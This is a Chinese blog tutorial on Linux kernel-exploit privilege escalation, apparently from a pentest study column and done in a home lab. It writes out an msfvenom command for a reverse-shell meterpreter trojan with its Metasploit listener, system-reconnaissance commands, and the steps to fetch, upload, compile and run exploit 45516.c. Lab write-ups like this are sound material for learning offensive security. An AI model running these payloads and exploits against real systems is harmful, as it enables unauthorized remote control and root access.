[权限提升] Linux 提权 — 系统内核溢出漏洞提权

关注这个专栏的其他相关笔记:[内网安全] 内网渗透 - 学习手册-CSDN博客

0x01:系统内核溢出漏洞提权介绍

注意:提权很容易让系统崩溃,所以如果是测试的话,提权前最好做好系统备份。

Linux 系统内核溢出提权漏洞与之前的 Windows 内核溢出漏洞 原理都差不多,都是通过内核漏洞进行提权的,内核漏洞一般都是专门研究这些的专家发现的,我们这些小卡拉米会用就行了(后面自学一下也未尝不可)。

利用内核漏洞进行提权的基本流程如下:

  1. 对目标系统进行信息收集,获取到系统内核信息以及版本信息。

  2. 根据内核版本获取其对应的漏洞以及 EXP。

  3. 使用找到的 EXP 对目标系统发起攻击,完成提权操作。

0x02:Linux 系统内核溢出漏洞环境搭建

实验环境简介

  • 靶机 CentOS7:IP 192.168.0.137

  • 攻击机 Kali Linux:IP 192.168.0.100

0x0201:CentOS7 靶机新增低权限用户

既然是提权,那么我们肯定得从一个低权限用户开始提。为了防止部分读者不会为 Linux 操作系统中新增低权限用户,特意写了本小节。

首先,以 Root 用户登录 CentOS7 靶机,并输入下面的命令添加 test01 用户:

bash 复制代码
 sudo useradd test01

然后输入下面的命令,为 test01 用户指定登录密码(你不设置密码是无法登录该用户账户的),笔者设置的密码是 admin@123:

bash 复制代码
 sudo passwd test01

执行完上面两个命令后你可以通过 test01 : admin@123 这个账号来尝试登录 CentOS7 靶机:

如果你能登录成功,那么恭喜你,你已经成功设置了一个低权限用户,接下来的提权操作就是通过 test01 来完成。

0x0202:MSF 通过木马文件上线 CentOS7

登录 Kali Linux 攻击机,输入下面的命令,生成一个 Linux 后门木马文件 shell.elf :

bash 复制代码
 msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.0.100 LPORT=7777 -f elf > shell.elf

上面这个木马在靶机中执行后,会将靶机的控制权移交给 192.168.0.100 的 7777 端口。

木马生成完毕后,输入下面的命令在 Kali Linux 中开启本地的端口监听,等待靶机的 Shell 连接:

bash 复制代码
 msfconsole # 进入 msfconsole
 use exploit/multi/handler 
 set payload linux/x64/meterpreter/reverse_tcp 
 set lhost 192.168.0.100 
 set lport 7777 
 run

上面的准备工作完成后,我们以 test01 用户的身份拿到木马文件并运行(你可以通过在 Kali 中使用 Python 临时开放 80 下载端口,也可以将木马通过物理机上传到靶机,方法随便你,上传到靶机后执行即可):

此时回到我们 Kali Linux 的监听模块,可以看到 CentOS 7 靶机成功上线:

那么后面,就开始我们的 Linux 系统内核溢出漏洞提权实战。

0x03:Linux 系统内核溢出漏洞实战

0x0301:靶机信息收集

1. 查看当前 Shell 权限

拿到了靶机的 Shell 后,我们需要确定我们当前用户的等级,以下三条命令均可以实现这一需求:

bash 复制代码
 meterpreter > getuid
 shell > id
 shell > whoami

如上,Linux 靶机的系统权限比较容易判断,最高级别用户就是 root,你 whoami 后不是 root 用户,就证明需要提权。

2. 收集靶机系统信息

确定当前的 Shell 需要提权后,我们就要查看目标靶机的系统信息,来看看目标是否有内核漏洞。

查看靶机的系统信息可以通过以下几个命令(shell > 代表进入交互模式后才能使用的命令):

bash 复制代码
 meterpreter > sysinfo   # meterpreter 自带的系统信息收集命令
 shell > cat /etc/issue  # 查看 ubuntu 或者 centos 的版本信息
 shell > cat /etc/*-release # 查看 centos 版本信息
 shell > uname -a           # 查看系统内核全部信息
 shell > uname -r           # 查看内核版本

如上,通过收集靶机系统信息,我们得知,当前拿到的系统是 CentOS 7.9 版本的,Linux 内核版本是 3.10。

0x0302:Metasploit 提权

1. 使用 MSF 确定目标提权漏洞

MSF 中内置了提权脚本的搜索模块,我们新开一个 Kali Linux 的窗口,使用如下命令,搜索靶机中可能存在的提权漏洞及其 EXP:

bash 复制代码
 searchsploit linux kernel 3.10

如上,我们定位出了一个基本符合要求的 EXP,叫 45516.c,使用如下命令导出这个 EXP:

bash 复制代码
 searchsploit -m 45516.c  # 将 45516.c 利用 EXP 导出到当前目录

此时俺们还不知道这个东西的用法,可以通过百度 CVE-2018-14634 这个漏洞来查看其用法:

芜湖,这个利用程序需要目标内存大于 32 GB,看来本地是很难验证了,所以我们只能换一个利用的 EXP 了。

笔者简单通过百度后并没有发现适合我这个系统的提权漏洞,这个也是很正常的。为了流程的连贯性,笔者准备还是使用上面的那个 45516.c 来尝试进行提权。

2. 使用漏洞对应的 EXP 进行提权

通过上面的命令,我们将 EXP 导出到了 /home/kali/Desktop/45516.c 这个位置,接下来我们切换到 Kali 远控 CentOS7 靶机的 meterpreter 界面,将上面的 EXP 上传到靶机 tmp 目录下:

bash 复制代码
upload /home/kali/Desktop/45516.c /tmp/45516.c # 将本地的 EXP 上传到靶机中

然后输入 shell 进入交互模式,进入交互模式后,进入 tmp 目录,输入下面的命令,在靶机上编译 .c 文件并执行(不同的 EXP 用法不同,建议百度搜用法后自己整理一下):

bash 复制代码
cd /tmp               # 进入 tmp 目录
gcc 45516.c -o 45516  # 将 .c 文件利用靶机的 gcc 编译成可执行程序,如果靶机没有 gcc 你需要自己配置一台和靶机环境类似的机器,编译好程序后再上传给靶机执行
chmod +x 45516        # 为 45516 添加可执行权限
./45516               # 执行 EXP 尝试进行提权

笔者很可惜,编译这步就报错了,没能生成可执行文件:

不过 Linux 提权的整体流程就如上了,如果读者觉得有点懵,可以查看下面这篇文章,这是笔者打 VulnHub 记录的一次渗透全流程,里面的提权使用的就是 Linux 内核溢出漏洞:

拓展: 一次完整的渗透流程 - 内核提权:VulnHub - Prime - 1

相关推荐
网络安全Ash1 小时前
网络安全——Span 安全监控
安全·web安全·php
网络安全Jack1 小时前
网络安全—DDoS攻防
网络·web安全·ddos
佛州小李哥2 小时前
AI安全最佳实践:AI云原生开发安全评估矩阵(上)
人工智能·科技·安全·ai·语言模型·aws·亚马逊云科技
doubt。3 小时前
5.【BUUCTF】[BJDCTF2020]Easy MD5及知识点
网络·安全·web安全·网络安全·php·代码复审
重庆森林不在重庆6 小时前
upload-labs通关
网络·web安全·网络安全·php
coleak7 小时前
Flask代码审计实战
后端·python·web安全·flask
doubt。9 小时前
5.攻防世界simple_php
网络·安全·web安全·网络安全·php·代码复审
web2u15 小时前
如何安全地管理Spring Boot项目中的敏感配置信息
java·spring boot·后端·安全·spring·gitee·github
网络设计ensp16 小时前
分享从零开始学习网络设备配置--任务6.5 实现园区网安全接入互联网
学习·安全·智能路由器